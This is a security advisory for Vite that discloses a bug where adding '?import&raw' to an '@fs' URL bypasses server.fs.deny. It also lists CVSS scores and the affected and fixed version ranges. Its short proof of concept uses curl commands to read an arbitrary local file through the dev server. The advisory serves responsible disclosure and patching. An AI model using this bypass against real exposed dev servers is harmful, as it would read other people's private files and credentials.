GHSA-9cwx-2883-4wfx

Suggest an improvement
Source
https://github.com/advisories/GHSA-9cwx-2883-4wfx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9cwx-2883-4wfx
Aliases
Published
2024-09-17T18:44:12Z
Modified
2024-09-19T18:34:32Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N CVSS Calculator
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Vite's `server.fs.deny` is bypassed when using `?import&raw`
Details

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
References

Affected packages

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
5.4.0
Fixed
5.4.6

Database specific 

{
    "last_known_affected_version_range": "<= 5.4.5"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
5.3.0
Fixed
5.3.6

Database specific 

{
    "last_known_affected_version_range": "<= 5.3.5"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
5.2.0
Fixed
5.2.14

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.5.4

Database specific 

{
    "last_known_affected_version_range": "<= 4.5.3"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.2.11

Database specific 

{
    "last_known_affected_version_range": "<= 3.2.10"
}

npm / vite

Package

Name
vite
View open source insights on deps.dev
Purl
pkg:npm/vite

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.1.8

Database specific 

{
    "last_known_affected_version_range": "<= 5.1.7"
}